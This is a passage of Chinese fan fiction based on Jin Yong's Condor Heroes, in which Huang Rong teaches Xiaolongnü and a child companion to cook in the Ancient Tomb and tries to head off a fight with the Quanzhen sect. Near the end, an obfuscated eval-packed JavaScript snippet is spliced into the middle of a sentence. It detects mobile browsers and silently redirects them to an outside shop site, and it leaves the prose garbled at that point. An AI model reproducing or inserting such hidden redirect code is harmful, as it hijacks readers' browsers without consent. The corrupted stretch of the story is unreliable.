山路越往上越静,先前在城镇听惯了人声,忽然入了终南山,耳边便只剩风声、树声与偶尔一两声鸟鸣。石阶潮湿,青苔贴着石缝生长。山雾从林间漫出来,薄薄一层,像把整座山都罩得更神秘。 小童子走得不算快,她肚子还隐隐作痛,虽不再像先前那样疼得眼眶泛水,却仍时不时皱一下眉。小龙女牵着她,另一手拿着剑,脚步放得很慢,时不时偏过头看她一眼,像怕她难受却逞强不说。 黄蓉走在后面,看着两人的背影,一个捂着肚子,一个满眼心疼。 若不曾见过她们在陆家庄出手,谁能想到这两个安安静静的少年,能逼得靖哥哥认真应战?可若只看她们此刻的模样,又会觉得她们比许多寻常孩子还不会照顾自己。 黄蓉心里一时有些复杂。 再往上走,古墓前的山林渐渐露出异样。最先是树,被砍过的树。山路旁原本应有密密松木,到了这一带,却有不少树干横倒在地。断口参差,有的是刀斧砍断,有的像是被掌力震裂,木茬翻着白。枝叶已经枯了些,仍散乱地堆在地上,像一场风暴过后无人收拾。 再往前,便是烧痕,墓门附近的石地发黑。 火烧过的灰痕嵌在石缝里,虽被水洗过,却仍能看出来。几块大石边缘被熏得焦黑,地上还有细碎的炭屑。山风一吹,炭灰轻轻扬起,带来一点陈旧烟味。 黄蓉脚步微微一顿,她看了一眼墓门,又看向四周。 这不是普通打斗留下的痕迹,有人砍树,有人放火,而且火不是在外头随便烧一烧,是往墓门里攻。 她忽然想到全真教的传信,心中一紧。 难道全真七子已经来过?难道已经打过一场?若真如此,今日她在山下遇到的小童子和小龙女为何只是一个肚子疼、一个心口疼?全真教又去了哪里? 黄蓉压下心中猜测,问道:“这里怎么回事?” 小童子和小龙女回头看了一眼。 小童子顺着黄蓉的目光,看见那些断树与烧痕:“别人砍的。” 黄蓉等她继续。 小童子道:“他们以为古墓有大宝藏,过来抢。” 小龙女补充:“还想娶我。” 黄蓉:“……” 她虽然早听过那些乱七八糟的传闻,可从小童子和小龙女口中这样平平淡淡地说出来,仍觉得荒唐:“所以他们放火?” 小童子点头:“他们进不来,就烧。” 小龙女道:“后来走了。” 黄蓉看着墓门口的烧痕,又看着她们两个。她没有再问“怎么走的”,能让那些贪宝之人放弃古墓,想也知道不会太平。可这两个孩子说起此事时太平静,仿佛被外人觊觎、强闯、火攻,也只是古墓生活寻常的一日。 武林大会那日,她问年龄、问师承,什么也没问出来。那时她还觉得这两个孩子防备得厉害,像两扇石门,怎么都打不开。 可今日一路看下来,她反倒明白她们为何如此防人。古墓派恐怕真的只剩她们两个人了,偏偏外头的人还惦记着墓里的宝藏、武功和小龙女。 若还有长辈在,哪里会让她们连米要淘、菜要洗都不知道?若还有仆从在,哪里会让米进了厨房,却吃出一嘴沙子? 黄蓉见过许多孤苦孩子,杨过算一个。可她见杨过一个人生活,并不怎么心疼。 不是她没有恻隐之心,而是杨过太懂生活。那孩子会看人脸色,会撒谎,会耍赖,会讨食,会逃。他年纪小,却已经像一条在泥水里滚过的小鱼,滑不溜秋。别人不照顾他,他也能想办法照顾自己。甚至有时候,他太懂怎么活,懂得让人心里生出防备。 小童子和小龙女却不同,她们的武学造诣高到吓人,可生活常识空得也吓人。 给人的感觉很怪。 打,是打不过。可若真想弄死她们,好像又很简单。不必下毒,不必埋伏,甚至不必派高手。只要没人告诉她们米要淘、菜要洗、肉会坏、心疼不是病,她们就能把自己折腾得够呛。 这念头一出,黄蓉自己都觉得荒唐,可荒唐之后,又忍不住多看了她们一眼。 墓门前,两个丐帮弟子停住脚步。小童子和小龙女回头看了他们一眼。古墓派不许男子入内,这规矩她们记得很清楚。 小童子道:“你们不能进去。” 两名丐帮弟子本来就不想进去,这活死人墓门口被火烧过,石门里黑沉沉的,站在外头便觉一股冷气往身上钻。江湖传言又说里面有鬼、有机关、有怪蜂,还有两个似鬼不似人的古墓少年。此刻听小童子不让他们进去,他们几乎松了一口气。 其中一人立刻道:“我等在外等候黄帮主。” 另一个也点头。 黄蓉看了他们一眼,知道他们心里发怵,也不勉强。她对两人道:“在外头守着,不可乱走,也不可触碰古墓附近任何东西。” 两名丐帮弟子连忙应下。 小龙女和小童子带黄蓉往里走,一股冷气从里面涌出,黄蓉下意识敛了敛衣襟。 古墓里黑得很,不是夜色那种黑,而是山腹深处、常年不见光的黑。起初门外还有一点天光照进来,石阶和墙角勉强能辨出轮廓,可往里走了几丈,那点光便被甬道吞没了。石壁吸走声音,吸走暖意,还吸走阳光,前方只剩一片沉沉的黑。 小童子和小龙女却像毫无所觉,抬脚便往里走。她们步子不快,落脚却稳,转过一处窄弯时连停都没停。 黄蓉又跟了几步,眼前已看不清地面,只能凭两人的衣影判断方向。她脚下一顿,道:“等等。” 两人回头,神情都有些不解。 黄蓉道:“点个火把。” 小童子和小龙女怔了一下,像是这才想起还有点火照路这回事。她们平时不点火把,除非看书、看石壁图、做饭,或者要仔细找什么东西,否则古墓里的路闭着眼也能走。她们在这里长大,每一处转角、每一层石阶、每一道机关的位置都记在身体里。黑暗对她们不是阻碍,只是古墓本来的样子。 黄蓉看着她们的表情,便知道答案:“我看不见。” 小童子和小龙女这才明白,黄蓉并非在古墓中长大,自然没有她们这般暗中 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这地方太冷,太黑,太安静。 古墓派清修避世,自有它的道理。可一个人若从小长在这里,身边的人一个个离开,最后只剩下另一个同样不懂人间的人,难怪会把许多事都看得那样简单。 杀人偿命、不想说便不说、不够格便不够格。 黄蓉忽然明白,她们不是故作冷漠,也不是故作高深。她们只是活在一座石头墓里太久,久到许多人间的弯弯绕绕都没有长进她们心里。 小童子在前面举着火把,走到一处岔路时还停下来等她;小龙女牵着小童子,时不时看一眼她的脸色。 黄蓉看见这一幕,终于明白这两个孩子为何让人放心不下。 经过一间石室时,黄蓉借着火光往里看了一眼。 里面摆着石床、石桌和一只旧木箱,东西不多,却收拾得干净。石桌上压着几片发黄的旧纸,旁边有一只针线笸箩,针脚粗细不一,显然不是一人所用。墙角还放着半只竹篮,篮沿磨得发亮,像是曾经被人提着出入许多年。只是如今这些东西都静静搁在那里,没人再碰,连灰尘都像怕惊动什么似的薄薄落着。 小龙女见她停步,轻声道:“孙婆婆以前住这里。” 小童子也回头看了一眼,没说话,只把火把举得低了些。 黄蓉心里微微一沉,忽然想起武林大会上杨过说过的话:孙婆婆被郝大通打死了。 那时孙婆婆于她而言,只是这场恩怨里一个陌生的名字,一重牵连郝大通之死的因果。如今站在这间空石室前,看着那些遗物,再想起小童子和小龙女连米菜都不会洗的模样,黄蓉才真正意识到,那位老人对这两个孩子而言,是多么要紧的人。 古墓里不是没有过照顾她们的人,只是那人已经不在了。剩下的两个人便照着记忆把东西摆好,把屋子收拾干净,却没有人能教她们人间那些细碎又要紧的事。 她轻轻叹了口气,看来这一趟,调停全真教与古墓派,远比她来时所想更要紧。 46.淘米洗菜 黄蓉被带到厨房时,先是一怔。 她原以为会看见一片狼藉,毕竟小童子和小龙女能把没洗过的米菜直接下锅,吃出沙子来,厨房多半也好不到哪里去。可火把往里一照,石室里的情形却与她想象不同。 厨房不大,四壁仍是古墓一贯的青黑石色,潮气贴在墙上,火光一晃,便能看见细小水珠。灶台靠着一面石壁,锅铲、木勺、陶罐都摆在固定位置。柴火堆在墙角,劈得长短不一,却码得整整齐齐。旁边还有一捆细柴,应该是用来引火的。 米袋堆在另一侧,两车米如今已经成了一座小山,外头用布盖住。菜也分门别类放着,萝卜和白菜在一处,干菇、笋干扎好放在架上,腌肉和火腿悬在阴凉处。点心与糖则被放在石桌上,摆得十分郑重。 小龙女见她看得仔细,便道:“这些是我和童儿收拾的。只有柴是以前孙婆婆劈好用剩下的,我们只是码齐。” 黄蓉看了一圈,心中倒松了一点。这两个孩子不是懒,也不糟蹋东西,她们其实很勤快。米袋搬进来后知道盖好,柴火知道码齐,菜也知道分开放,厨房被她们收拾得有模有样。 她去看调味,盐罐里只有半罐盐;再旁边,还是盐。 黄蓉不死心,又打开几个陶罐,一个空的,一个放着不知何时剩下一点的干香叶,还有一个里面装了清水。 除此之外,没有酱,没有醋,没有油,没有姜葱,没有酒,也没有她熟悉的那些香料。 黄蓉沉默了一阵,她终于知道这两个孩子为什么只能把菜放水里煮,因为她们只有水和盐。 小童子坐在旁边的石凳上,手还按着肚子。她痛得没有先前厉害了,只是脸色仍有些白。小龙女站在她身边,手搭在她肩上,像怕她下一刻便会倒下。 黄蓉看了她们一眼,道:“先不做饭。” 小童子抬头:“不做?” “先烧水。” 黄蓉走到灶前,蹲下去看火膛。 里面有未燃尽的柴灰,底下压着几块没有烧透的木头。她伸手拨了拨,灰尘扑出来。古墓没有窗,烟气散得慢,才一动,空气里便有一点呛人的味道。 黄蓉问:“你们平时怎么生火?” 小童子道:“火折点燃。” 黄蓉等她继续,小童子已经说完了。 黄蓉:“……” 黄蓉无奈,把火折子取来,又拿了几根细柴:“火不是只点一下就能听话,先用细柴引火,再慢慢添粗柴。下面要留空,火才有气。灰多了要拨开,不然闷住,烟就多,火反而小。” 小童子和小龙女都蹲下来看,两人看得很专注,黄蓉觉得自己仿佛在教什么高深武功。 黄蓉把几根细柴交叉架好,点着火折子,先引燃最细的一端。火苗起初很小,像一片黄豆大的光。黄蓉没有急着塞大柴,只轻轻吹了一下,让火苗舔住旁边的细枝。 小童子眼睛微微亮:“要留空。” 黄蓉点头:“对,火也要呼吸。” 小龙女低声重复:“火也要呼吸。” 火苗渐渐稳了,黄蓉才添了稍粗些的柴,火膛里传来细小的噼啪声。灶上的锅被她洗过一遍,重新添了水,盖上锅盖:“等水开。” 小童子问:“怎么看开?” 黄蓉道:“水会冒大泡,会翻,会有热气。你们不要伸手去试。” 没过多久,锅里水声渐起。 古墓厨房无窗,火一烧起来,烟气便在石室里打转。黄蓉被呛得咳了两声,转头找出风口,发现只有门口那一道。她皱眉道:“你们平时就在这里烧火?” 小龙女道:“嗯。” 小童子补充:“以前孙婆婆也在这里。” 黄蓉又咳了一声,忽然明白这两个孩子为什么被烟熏了也没什么反应。她们自小便在这样的灶烟里长大,早把烟气当成了呼吸的一部分。 那些强闯古墓的人若知道两人的生存环境,立刻就会明白,当日为什么烧了两个时辰也烧不出她们来。而原本该知道的李莫愁,因为多年不住古墓,早已忘却这些生活细节。 黄蓉咳得眼角都泛出一点水,小童子和小龙女却蹲在火边,神情平静,像完全闻不到烟。她们从小在古墓里长大,潮气、冷气、烟气,都已经成了身体的一部分。 黄蓉心里又是不由地一软。 她掀开锅盖,水已经开了。热气扑面而来,白雾在火光里翻卷。她用碗盛了一碗,放在旁边稍稍晾了晾,等不烫嘴了,递给小童子:“慢慢喝一点。” 小童子接过碗,很听话地小口喝;小龙女则专注地看着她。 黄蓉道:“你这种肚子疼,多半是吃了不干净的米菜。若真吃进去脏东西,最好是吐出来,或拉出来。药不能乱吃,强行压住反而不好。如今你不吐,也不发热,就先喝些温水,吃清淡些,慢慢等它过去。” 小童子端着碗,认真点头。 小龙女则问:“不用吃药?” 黄蓉道:“暂时不吃。若更痛,或发热,再说。” 黄蓉又道:“以后米菜洗干净,就不会引起肚子疼。” 两人同时看向米袋和菜。 黄蓉知道,真正的课现在才开始。她取了一只木盆,舀了几捧米进去:“先教你们淘米。” 小童子立刻放下碗,想凑过去。 小龙女按住她:“喝水。” 小童子只好坐回去,一边喝,一边伸长脖子看。 黄蓉往盆里添水,清水一冲进米里,立刻变得浑浊。她伸手轻轻搅动,让米粒在水里翻起来:“看见没有?这些白/浊和细沙都要洗出去。手不要太重,米会碎。也不要只冲一下就算,洗到水不那么浑,沙子沉下去,再把水倒掉。” 她慢慢倾斜木盆,把浑水和沙子倒掉,又添第二遍水。 小龙女看得极仔细:“洗几遍?” 黄蓉道:“看米。新米旧米不同,脏不脏也不同。你们先洗三遍,学会之后自己看水色。” “看水色。”小童子低声喃喃,她像记剑谱一样努力记住黄蓉的话。 她看着黄蓉的手势,又忍不住问:“这是用柔劲,还是用巧劲?” 黄蓉一怔。 她低头看了看自己泡在米水里的手,又看了看小童子认真求教的脸,终于没忍住笑意:“这是普通手劲。” 小童子想了想,认真点头。 黄蓉又让小龙女亲手试,小龙女挽起袖子,手指入水。她的动作很轻,像在抚一池冷泉。米粒从指缝间滑过,水慢慢变白。 黄蓉道:“可以再稍微用些力 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黄蓉明白她的意思:“练剑练错了,最多多练几遍。饭做错了,肚子疼的是你们自己。” 小童子捂了捂肚子,觉得很有道理。 黄蓉又教她们如何煮粥:“你肚子不舒服,先别吃硬饭。米少些,水多些,小火慢慢煮,煮到米开花,才好入口。” 小童子听见“米开花”,眼睛微亮,她以为米真的会像花一样开。 等粥在锅里慢慢煮开,她便时不时凑过去看。黄蓉怕她烫着,拦了她三次。 古墓厨房里烟气渐浓,黄蓉又咳了几声。她本就聪明,很快找到一点门道,让小童子把火烧小些,又把门开得更大,让烟往外走。可这里到底没有窗,烟还是绕着石壁打转。 小童子和小龙女却仍没反应。 小童子喝着温水,脸色慢慢好了一点。小龙女蹲在木盆边,把白菜一片一片洗得极认真。 黄蓉看着她们,这两个孩子学什么,都会学得很快。武功如此,淘米洗菜也如此。以前不会不是她们不学,只是从来没有人教。 她忽然想起郭靖。 郭靖当年学东西也常这样,听一句便学一句,又笨又认真,叫人没法生气。眼前这两个孩子并不笨,只是没人把这些寻常事掰开来讲给她们听。 粥终于煮好,黄蓉盛了一碗,晾到温热,递给小童子:“慢慢吃。” 小童子接过来,先看了看,粥是白的,没有沙子。 她尝了一口,很淡,但温热、软糯,落进肚子里时,没有先前那种咯人的硬,也没有泥沙的土腥味。 她眼睛亮了:“龙儿,没有沙。” 小龙女也尝了一口,她点头:“真的没有。” 黄蓉坐在一旁,听见这两句,竟不知该笑还是该叹气。 两个能让江湖震动的古墓高手,因为一碗没有沙子的粥,露出近乎惊喜的神情。 她忽然觉得,自己今日教她们淘米洗菜,或许比劝全真教退一步还要紧,至少这件事能立刻救命。 小童子慢慢喝粥,小龙女看着她喝得开心,心口不再痛了。 她终于相信黄蓉的话:心疼不吃药,也会好。 47.炒菜 等粥喝完,厨房里的烟也散了一些。 只是散得很慢。古墓厨房没有窗,门虽开着,烟气仍像找不到路的灰蛇,在石壁边绕来绕去。火把光与灶火光混在一处,照得墙上水汽微微发亮。黄蓉用袖子在鼻前扇了扇,觉得自己若再待久些,迟早要被这厨房熏出眼泪。 小童子和小龙女依然一点反应都没有。 小童子捧着碗,脸色比方才好了些。小龙女蹲在木盆边,把洗好的白菜叶一片一片摊开,认真得像在摆剑阵。 黄蓉看了看她们,又看了看灶台:“既然火已经生起来了,顺便教你们炒一道最简单的菜。” 小童子立刻抬头,小龙女也看过来。 黄蓉道:“炒菜和水煮不同。锅要热,油要有,菜要洗净沥水。火不能太大,也不能太小。太大容易糊,太小就出水,菜便不好吃。” 小童子和小龙女听见“油”,茫然了一下:“油?” 黄蓉闭了闭眼,她方才检查厨房时就知道没有油。可真听见小童子和小龙女这样问,还是觉得心口又堵了一下。 没有油,没有酱,没有醋,没有姜葱。这两个孩子居然已经开始认真琢磨怎么把生活过下去。 她看了一眼阴凉处悬着的腌肉:“没有现成的油,也能先从肉里借一点。” 黄蓉没有立刻下刀,先把那块腌肉拿近了些,让她们看:“肉也要先辨一辨。闻着若发酸、发臭,摸着发黏,颜色灰败发黑,或是霉得厉害,便不能吃。腌肉有些咸香气是正常的,表面干爽,颜色不怪,才可以用。” 她把腌肉递到小童子和小龙女面前:“你们也摸摸,闻闻。记住这个味道和手感。以后看肉,不能只看它挂在那里像肉,就觉得能吃。” 小童子先伸手摸了一下,又凑近闻了闻,眼神专注而有神。小龙女也照着做,指尖轻轻按过肉面,神情认真得像在辨一处穴道。 黄蓉取下一小块腌肉,切成薄片:“腌肉咸,不能放太多。先用它煸出油,再下青菜。以后若还要下山,可以买现成的油,也可以买些猪肥肉回来,慢火熬成猪油,盛在干净罐里,炒菜时取一勺便是。” 小童子和小龙女同时点头,两人默默记下:下次买油、买猪肥肉、熬猪油。 小童子想了想,又补了一句:“找沈长风买油。” 黄蓉第一次听到她俩说别人,她不由问:“沈长风是谁?” 小童子道:“沈记长风行的老板。她会买米,雇车,找粮商。” 小龙女补充:“还知道菜市在哪里,该买什么菜。” 黄蓉听明白了,这是两人下山以后遇见的第一个好心人。现在她这个第二个,正在教她们不把沙子吃进肚里。 黄蓉把锅洗净,架在火上。等锅热了,放入几片腌肉。薄肉片贴着锅底,很快卷起边来,渗出一点透明油脂,便有轻微的滋声,香气也跟着冒出来。 小童子眼睛亮了:“香!” 小龙女也轻轻点头,眼眸里多了一丝欢喜。 黄蓉道:“油出来了,菜才下锅。” 她把洗好的白菜放进去,菜叶一入锅,火声骤然变大,水汽与油香一起冲起。黄蓉手腕一翻,锅铲贴着锅底一推一挑,白菜叶在锅里翻了一下,绿白相间,沾上油光。她撒了少许盐,又迅速翻炒。 小童子和小龙女看得十分专注。锅铲每一次翻动,她们眼神便跟着动。 黄蓉忽然觉得,若把锅铲换成剑,这两人大约能看得更懂。 她一边炒,一边道:“青菜不能炒太久。久了便软烂,颜色也不好。盐少些,尝了再加,别一次放多。其实只有盐,也能把菜炒得很好吃。没有酱,不过颜色淡些,味道少一层。你们现在只有盐,便先学盐。” 小童子认真道:“好!先学盐。” 小龙女也默默记下,只有盐也能把菜做得好吃。 可说话间,灶膛里的火忽然旺了些。小童子方才添柴添得太实,火被压住一阵,此刻又猛地窜起来。烟气顺着锅边直冲黄蓉面门,混着油脂香、柴烟味和古墓潮湿石气,一股脑灌进喉咙。 黄蓉猝不及防,咳了两声。她本想忍住,可这阵烟实在呛人。下一刻,她脸色微变,捂住嘴,快步出了厨房,临出去前还记得把锅拖离火口。 小童子和小龙女同时一惊:“黄蓉?” 黄蓉扶着甬道边的石壁,弯下腰,干呕了几下。胃里并没有什么东西要吐出来,可那股恶心翻上来,叫她眼角都湿了些。她一手撑着墙,一手按在腹前,缓了好一会儿才顺过气。 小童子和小龙女站在厨房门口看她,两人神情都很严肃,眉眼浮起担心的神色。 小童子问:“你也生病了?” 黄蓉:“……” 她实在不知该怎么答,她如今怀孕,闻不得太冲的烟气,偏偏这古墓厨房像专门把烟气关起来熏人。她自己也不是第一次这样恶心,可被这两个孩子用“你也生病了”的语气郑重询问,竟有一种说不出的荒唐。 她摆了摆手:“不是。” 小龙女道:“不需要吃药?” 黄蓉闭了闭眼:“不需要。” 小童子和小龙女对视一眼,又默默记下一条:担心不是病,呕吐也不一定要吃药,病理比她们想的复杂。 黄蓉缓过来后,忽然看着这条阴冷甬道,心里那点念头再也压不住。这地方实在不是人住的,至少,不该是两个十几岁的孩子这样住着。 她道:“你们有没有想过,暂时离开古墓?” 小童子和小龙女同时看她。 黄蓉斟酌着话:“你们可以先去襄阳,或者去我和靖哥哥那里住一阵。靖哥哥可以与你们谈武学,你们若愿意,他也能教你们掌法、内力运用。吃饭这些,我可以慢慢教你们,也可以让人给你们做。” 她停了一下,声音放得更柔:“至少不用住在这样黑冷的地方,也不用自己摸索着吃沙子。” 若换了旁人,听见郭靖可教武功、黄蓉可管饭,这可是天大的好事。 小童子却立刻摇头,小龙女也面露拒绝。 黄蓉并不意外,却仍问:“为什么?” 小龙女道:“古墓派弟子,不可出古墓。” 小童子补充:“师父说的。” 黄蓉道:“可你们已经出去过。” “快饿死了。”小童子说,她说得很认真:“不出去 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若不是她亲眼见过小龙女和小童子的武功,知道她们确实是由极高明的师承练出来的,她几乎要怀疑这是哪路人贩子把孩子骗进山里,编出一套规矩不许她们离开。 可偏偏她们不是被养废的孩子,她们强得离谱,强到江湖绝顶高手都不能轻视。也正因如此,黄蓉才更觉得她们师父古怪。 能教出这样的武功,却没教她们人间生活。能让她们清冷出尘,却差点让她们饿死在墓里。 黄蓉一时竟有些生气,不是对小童子和小龙女生气,是对那个未曾谋面的古墓师父。 她看着两人,语气不由严肃了些:“你们师父教你们武功,教得极好。” 小童子和小龙女都没有说话,只是看着她,等她把话说完。 黄蓉又道:“可人活着,不只有练武。” 小龙女微微一顿,小童子也怔然。 黄蓉看见她们听进去了,便继续道:“我不逼你们去襄阳,也不是要你们违背门派。只是世间很大,人活着,也不该只有练武和守墓。饭要会吃,路要会走,人也要知道自己还能喜欢什么、牵挂什么,将来想做什么。” 小童子和小龙女对视一眼,两人眼里都浮起茫然。她们的生活从来只有练武和守墓,除此之外,仿佛再没有别的事情比这两件事更重要。 黄蓉回到厨房,把那盘白菜救了出来。菜有些过火,边缘软了些,却还没糊。她盛进盘里,端到石桌上:“尝尝。” 小童子夹了一筷子,小龙女也跟着夹了一筷子。有油、有盐、没有沙,还带着一点烟火气。 小童子眼睛又亮了:“龙儿,好好吃。” 小龙女眼里也带着点笑意,点头:“嗯,是好吃的。” 黄蓉站在旁边,闻着尚未散尽的烟味,又想咳,又想笑。 她原本是来管江湖恩怨的,没想到到了终南山,第一件要紧事,竟是在活死人墓里教两个绝世高手做饭。 这世上的事,果然比江湖传闻还要离奇。 48.打不过就死 一盘炒白菜出锅以后,古墓厨房里终于有了一点正经饭菜的味道。 不多,只有一盘,但确实有,不像小童子和小龙女平日里吃的水煮菜。 油香、盐味、白菜的清甜,还有一点没有散尽的柴烟,混在青黑石壁的潮气里,显得格外稀奇。小童子把最后一片白菜夹给小龙女,小龙女看了她一眼,又夹回半片给她。两人分得很认真,仿佛这一盘略有些过火的炒白菜是什么难得的珍馐。 黄蓉坐在一旁,烟气终于淡了些。她看着那半片白菜在两双筷子间推来让去,心里又一次软了几分。她这一生见过多少人争奇珍、夺异宝,却少见有人把她随手炒出的一盘菜珍惜成这样。两个孩子分明冷清得不像寻常孩童,可这一点认真,反倒叫她觉得更可怜,也更可亲,到底也还只是两个孩子。 小童子的肚子已不怎么痛了,她坐在石凳上,手里捧着温水,还时不时喝一小口,眉头却已经舒展开来。小龙女则把两人用过的锅、锅铲、碗筷仔细洗净,碗倒扣在灶边,锅铲和筷子也整整齐齐搁在一旁沥水。 黄蓉看了一会儿,知道再拖下去,她今日真正的来意便要被一锅粥、一盘菜岔到天黑。 她轻轻咳了一声,不是被烟呛的,是要说正事。 小童子和小龙女同时看向她。 黄蓉道:“饭菜的事,今日先教到这里。淘米、洗菜、生火、煮粥、炒菜,你们先记住。油盐酱醋、姜葱酒这些,日后你们再慢慢添。” 小童子和小龙女齐齐点头。 黄蓉顿了顿,道:“我今日来古墓,不只是为了教你们做饭。” 小童子看她:“那是为了什么?” 黄蓉道:“全真教。” 厨房里安静了一下,火膛里还有一点余火,偶尔发出细微的噼啪声。火光映在小龙女脸上,她神情仍旧淡淡的。小童子也没有露出多少意外,像黄蓉提到的不是一个结成死仇的武林大派,而是一袋需要淘洗的米。 黄蓉道:“郝大通死在你们手里,这件事全真教不会轻易罢休。陆家庄那日,我暂且替你们把事情压下了,可那只是暂时。全真教近日已有不少长辈与弟子因此事赶回终南山。” 小童子喝了一口水:“哦。” 黄蓉被这个“哦”噎了一下。 她耐着性子道:“他们来,不会只是问话。” 小龙女道:“会打?” “多半会。” 小童子点头:“那就打。” 黄蓉:“……” 黄蓉揉了揉眉心,她知道不能先和她们说“江湖大义”。这两个孩子连米价、菜市、酱醋都才刚知道不久,拿江湖规矩压她们,和拿一本没翻过的账册叫她们算银钱没有分别。她们听不懂,也未必愿意听。 于是黄蓉先把话说得最简单:“你们有没有想过,不一定要打,其实可以谈?” 小龙女不解:“谈?” “对,谈。” “谈什么?” “谈孙婆婆之死,谈郝大通之死,谈赔罪,谈交代。”黄蓉缓声道,“若能谈清楚,便不必再死人。” 小龙女听了一会儿,道:“郝大通死了。” 黄蓉道:“我知道。” “孙婆婆也死了。” “我也知道。” 小童子接着道:“死了不能活。” 黄蓉沉默,这话没有错,死了不能活。可是江湖上的人不这么想,江湖上的人要讨说法,要争脸面,要让旁人知道自己门派不是好欺负的。许多时候,死人不能活,活人却能为了死人再杀一大片。 黄蓉知道这些话说出来也没用。 果然,小童子很快又说:“谈了,孙婆婆也不能活。” 小龙女道:“郝大通也不能活。” 小童子想了想,得出结论:“那谈了无用。” 黄蓉:“……” 她一时竟不知道该怎么反驳,若按这两个孩子的算法,确实无用。 黄蓉换了个方向:“谈了,能少死人。” 小童子道:“他们不来,便不会死。” “若他们一定要来呢?” “那就打。” “打完以后呢?” “打得过,就继续生活。” 小龙女也道:“打不过,就死。” 两人说得太平静,平静得像在说粥会凉,菜会坏,肉会馊。 黄蓉见过不怕死的人,江湖上不怕死的人很多,有些是热血,有些是逞强,有些是被逼到绝路,有些不过是嘴上说得好听,刀真正落到脖子前,仍会变脸。 可她眼前这两位是真的看淡生死的人,她们不是喊口号,不是激昂,不是要成全什么名声,也不是为了让旁人觉得自己有骨气。 她们说“打不过就死”,就像方才说“米要淘”“菜要洗”一样,是一条冷静到近乎朴素的判断。 黄蓉几乎要被这两套逻辑绕笑。饿死太蠢,所以出墓买米;生病不能等死,所以出墓买药;全真教打来,若打不过,死便死。她们不是不惜命,她们是把命放在一个黄蓉从未见过的位置上。 黄蓉忍不住道:“你们若死了,古墓里便再没人了。” 小童子道:“死了就死了。” 小龙女也很平静:“师父说不能出墓,没说不能死。” 黄蓉:“……” 她这一次是真的被噎住了。 不能出墓,那便不出。可若打不过,死在古墓里,反倒并不违背师命。 黄蓉忽然明白,她今天说不动这两个人。她讲江湖,她们不在江湖里;她讲说法,她们只看生死;她讲以后,她们想的是来了就打,打过了就继续吃饭练功,打不过就死。 这不是蠢,也不是狂,是古墓里十八年养出来的直。直得可怕,也干净得容不下旁的说法,任谁都嵌不进另一套道理去说服她们。 黄蓉看着她们,忽然有一点想笑,又有一点头疼。她若再说下去,恐怕说到天黑,也只能得到三句话。来就打;打得过就继续生活;打不过就死。 好,很好!黄蓉决定不说了。她站起身来,拍了拍衣袖上沾到的一点灰。 小童子看她:“你不教做饭了吗?” 黄蓉刚压下去的火气差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798878|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 又冒上来。她方才说了半日全真教,说了半日生死,这孩子最惦记的竟还是饭。 小龙女看了看灶台,又看了看黄蓉,也道:“煮粥会了,炒白菜也会一点。” 小童子很认真地补充:“米菜知道怎么洗干净,我们肚子便不会痛。多谢你。” 黄蓉深深吸了一口气,古墓厨房里残留的烟气又呛了她一下,她更想笑了:“你们以为会洗米洗菜,就会过日子了?” 小童子和小龙女都看着她,那眼神太干净。干净得像真的在问:不是吗? 黄蓉按了按眉心,她若再留下来,迟早要被这两个孩子气得当场生火,把古墓厨房拆了。 黄蓉道:“我先去全真教。” 小童子道:“去做什么?” “探探他们的底。”黄蓉道,“看他们来了多少人,想怎么打,谁能说话,谁只想杀人。” 小龙女道:“他们若先杀你呢?” 黄蓉被她问得气笑了,好么,她来替这两个孩子操心,到头来倒先被她们担心起性命来:“我会跑。” 小童子点点头:“轻功要快些。” 黄蓉一怔,她本以为这孩子是在嘲笑她,转念一看,小童子的神情却十分认真,她是真的在提醒自己。 黄蓉忽然又没那么气了,她道:“我轻功还可以,不过他们不会出手伤我的。” 小童子想了想,仍旧道:“若跑不掉,就喊我们。” 说完,她又像是想起什么,挠挠头,转头问小龙女:“我们出去救她,算不算违背师命?” 小龙女也认真想了想:“她教我们做饭,我们得出去救她,就像孙婆婆被欺负,我们出去杀人。” 黄蓉听着这两人一本正经地商量自己能不能被救,一时间竟不知该感动,还是该继续头疼。 她忍不住道:“多谢两位姑娘惦记,不过我暂时还不打算死在全真教。” 小童子点头:“那最好。” 小龙女也道:“死了下次没人教我们做饭了。” 黄蓉:“……” 好,她就知道,还是为了饭。 黄蓉转身往外走,走了几步,她又停下,回头道:“我没回来之前,你们不要先去打全真教。” 小童子道:“我们不出墓。” 小龙女道:“他们来了,就打。” 黄蓉闭了闭眼:“若我没回来,他们又来了呢?” 小童子道:“进墓就打。” 小龙女点头。 黄蓉终于彻底放弃,她摆了摆手:“罢了。” 她算是明白了,要这两个孩子不打,最好不是说服她们,是先去把全真教那边按住。 厨房里,火膛里的余火轻轻响了一声。 小童子端起温水,又喝了一口。小龙女把剩下的白菜叶重新摆好,像重温一套刚学会的剑法。 黄蓉举着火把,沿着幽深甬道往外走。石壁潮冷,火光在她脚边摇摇晃晃。她想,她今日大约不是来劝古墓派的。 她是来知道一件事,古墓里的这两个孩子,说不通,那便只能去说全真教了。 49.丘处机闯墓 黄蓉举着火把离开古墓时,甬道里的风很冷。 那冷意并非山风吹来,古墓深处不见天日,石壁常年潮湿,缝隙里渗出的阴寒,从人的袖口、领口、发梢边一点点钻进去。黄蓉走得不快,火光在她手里轻轻晃,照出石壁上斑驳的痕迹。 小龙女和小童子送她出去。 小龙女走在左侧,白衣在火光外淡得像一抹冷影。她一路都不大说话,只在甬道转折处停一停,等黄蓉看清脚下湿滑的石阶。 小童子跟在黄蓉右后方半步,目光不时落在黄蓉手中的火把上。火光一晃,她的影子便在石壁上跳一下,像是也想跟着出去看看外头的夜色。 黄蓉回头看了她一眼,心里微微一软,却没有再劝。她知道,有些话在这样的地方说多了,只会显得外头的人自以为是。 快到墓门时,小龙女停下脚步,小童子也跟着停住。 黄蓉举着火把出了墓门,等在外面的两个丐帮弟子忙迎上来。两人守在门外已有一阵,见黄蓉出来,明显都松了一口气。 其中一个低声道:“帮主,可还顺利?” 黄蓉看了他一眼,顺利?她想了想,道:“还活着。” 那丐帮弟子一愣,不知这话该如何接。 